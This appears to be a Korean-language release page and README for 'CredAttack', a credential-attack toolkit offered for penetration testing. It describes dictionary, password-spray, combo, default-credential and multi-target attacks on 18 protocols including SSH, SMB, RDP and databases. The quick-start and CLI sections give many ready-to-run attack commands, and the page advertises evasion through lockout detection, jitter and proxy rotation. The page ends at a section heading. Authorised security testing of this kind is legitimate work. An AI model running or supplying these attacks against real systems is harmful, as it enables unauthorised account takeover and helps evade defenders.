업데이트로 돌아가기
UpdatedSep 2, 2026

credential-attacks-toolkit — Updated!

공인된 보안 테스트를 위한 완전한 자격 증명 공격 제품군 — SSH, FTP, Web Login, Bruteforce, Dictionary attacks

공유

CredAttack — 자격 증명 공격 툴킷

Release Python Protocols Tests License

⚠️ 법적 고지 — 승인된 보안 테스트 전용.
본 도구를 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하는 것은 미국의 Computer Fraud and Abuse Act, 영국의 Computer Misuse Act 및 전 세계의 동등한 법률에 따라 불법입니다. SECURITY.md를 참조하세요.


목차


CredAttack이란 무엇인가?

CredAttack은 승인된 침투 테스트 작업을 위한 모듈식, 프로덕션급 자격 증명 테스트 스위트입니다. 자격 증명 공격의 전체 수명 주기를 다룹니다:

단계CredAttack 기능
정찰기본 자격 증명 DB(200개 이상 쌍), 스마트 사용자 이름 기반 패턴 생성
공격17개 프로토콜 공격기, 6가지 공격 모드, 다중 대상 캠페인
회피잠금 감지, 구성 가능한 속도 제한, 지터, 프록시 순환
보고JSONL 감사 로그, Jinja2 HTML 보고서, 발견된 자격 증명 배너 + 파일 덤프

공격 모드

모드명령설명
사전ssh, ftp, smb, …단일 사용자에 대한 단어 목록
스프레이spray사용자 목록에 대한 단일 비밀번호(잠금 방지)
콤보combo모든 사용자 × 모든 비밀번호
스마트smart사용자 이름/회사 기반 패턴 생성
기본값defaults200개 이상의 알려진 서비스 기본값 시도
다중 대상multi호스트 목록에 대한 동일한 공격
전체 파이프라인full모든 프로토콜, 단일 보고서

지원 프로토콜

#프로토콜모듈기본 포트참고
1SSHssh.py22paramiko, 키/비밀번호 인증
2FTPftp.py21능동 및 수동 모드
3HTTP 폼http_form.py80/443자동 CSRF 토큰 감지
4HTTP Basichttp_basic.py80RFC 7617
5HTTP Digesthttp_digest.py80RFC 7616
6SMBsmb.py445impacket, NTLM
7RDPrdp.py3389impacket NLA
8SMTPsmtp.py587STARTTLS
9POP3pop3.py110APOP 지원
10IMAPimap.py143STARTTLS
11MySQLmysql.py3306mysql-connector-python
12MSSQLmssql.py1433pymssql
13Redisredis_proto.py6379AUTH 명령
14MongoDBmongodb.py27017pymongo
15WinRMwinrm.py5985NTLM, pywinrm
16LDAPldap_proto.py389ldap3, rootDSE 자동 감지
17Telnettelnet.py23원시 TCP
18VNCvnc.py5900원시 DES 챌린지-응답

아키텍처

credattack.py          ← 얇은 셸: 체크아웃에서 `python credattack.py ...` 실행
│
├── credattack/cli.py   ← CLI (Typer) — 8개 공격 모드 하위 명령; pip 설치 시
│                          `credattack` 콘솔 스크립트로도 동작
├── credattack/core/
│   ├── config.py      ← Pydantic v2 Settings, CREDATTACK_* 환경 변수 재정의
│   ├── engine.py      ← AttackEngine (ThreadPoolExecutor + Rich 진행 UI)
│   ├── lockout.py     ← LockoutDetector (슬라이딩 윈도우, 스레드 안전)
│   ├── proxy.py       ← ProxyRotator (라운드 로빈, 상태 확인, 강등)
│   ├── mutator.py     ← PasswordMutator (leet, 계절별, 접미사, 키보드 워크…)
│   ├── result.py      ← AttemptResult + SessionReport 데이터클래스
│   ├── report.py      ← Jinja2 HTML 보고서 생성기
│   └── logger.py      ← Rich 로깅 + JSONL 감사 기록기
│
├── credattack/protocols/
│   └── *.py           ← 18개 ProtocolAttacker 구현
│
├── credattack/data/
│   ├── default_creds.json    ← 200개 이상의 실제 기본 자격 증명 쌍
│   ├── smart_patterns.json   ← 140개 이상의 엔터프라이즈 비밀번호 템플릿
│   └── wordlists/            ← 서비스별 기본 비밀번호 목록
│
└── tests/             ← 50개 이상의 pytest 테스트 (단위 + 프로토콜 목)

빠른 시작

# 클론 및 설정
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

# 버전 확인
python credattack.py --version

# 드라이런 (연결 없음 — 단어 목록 검증)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run

# 실제 SSH 사전 공격
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt

# 비밀번호 스프레이 (속도 제한, 잠금 방지)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30

# 스마트 모드 — 사용자 이름 + 회사에서 패턴 생성
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME

# 서비스 기본값 시도
python credattack.py defaults -t 192.168.1.100 --protocol mysql

# 다중 대상 캠페인
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

설치

옵션 A — pip + virtualenv (권장)

python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt

옵션 B — Makefile 단축 명령

make install      # 핵심 의존성
make install-dev  # + pytest-cov, ruff, mypy

옵션 C — pip 설치 (editable 또는 wheel)

pip install -e .          # 핵심 의존성만
pip install -e .[full]    # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev]     # + pytest/ruff/mypy

credattack --version      # 콘솔 스크립트, `python credattack.py`와 동일

옵션 D — Docker

docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help

# 단어 목록 마운트 및 출력 수집
docker run --rm \
  -v $(pwd)/wordlists:/app/wordlists:ro \
  -v $(pwd)/output:/app/output \
  credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt

CLI 참조

전역 옵션

python credattack.py [OPTIONS] COMMAND [ARGS]...

Options:
  -V, --version    버전 표시 후 종료.
  --help           도움말 표시.

공통 플래그 (모든 프로토콜 명령에서 사용 가능)

플래그약어기본값설명
--target-t—대상 호스트 / IP
--port0 (프로토콜 기본값)TCP 포트 재정의
--username-u—단일 사용자 이름
--user-file-U—줄바꿈으로 구분된 사용자 이름 파일
--pass-file-P—줄바꿈으로 구분된 비밀번호 파일
--password-p2—단일 비밀번호
--threads-n10동시 작업자 수
--timeout-T5.0시도당 시간 초과 (초)
--delay-d0.0시도 간 고정 지연 (초)
--jitter0.0최대 무작위 지터 (초)
--stop-on-firstTrue첫 성공 후 사용자별 중지
--proxy-fileNoneHTTP/SOCKS5 프록시 목록
--output-dir-o./output결과 디렉터리
--verbosity-v1로깅 수준 (0-3)
--dry-runFalse연결 없이 쌍 계산

하위 명령

# 프로토콜별 (각각 전용 공격기에 매핑)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
  -t HOST -u USER -P passes.txt

# HTTP (폼 / basic / digest)
python credattack.py http -t http://target/login --mode form \
  --form-user-field username --form-pass-field password --success-string "Dashboard"

# 스프레이 — 단일 비밀번호, 많은 사용자, 긴 지연
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30

# 콤보 — 사용자 × 비밀번호 데카르트 곱
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt

# 스마트 — OSINT 기반 생성
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp

# 기본값 — 공급업체 기본 자격 증명 시도
python credattack.py defaults -t HOST --protocol mysql

# 다중 — 여러 호스트에 동일한 공격
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

# 전체 — 모든 프로토콜 순차 실행
python credattack.py full -t HOST -U users.txt -P passes.txt

비밀번호 변형 엔진

카테고리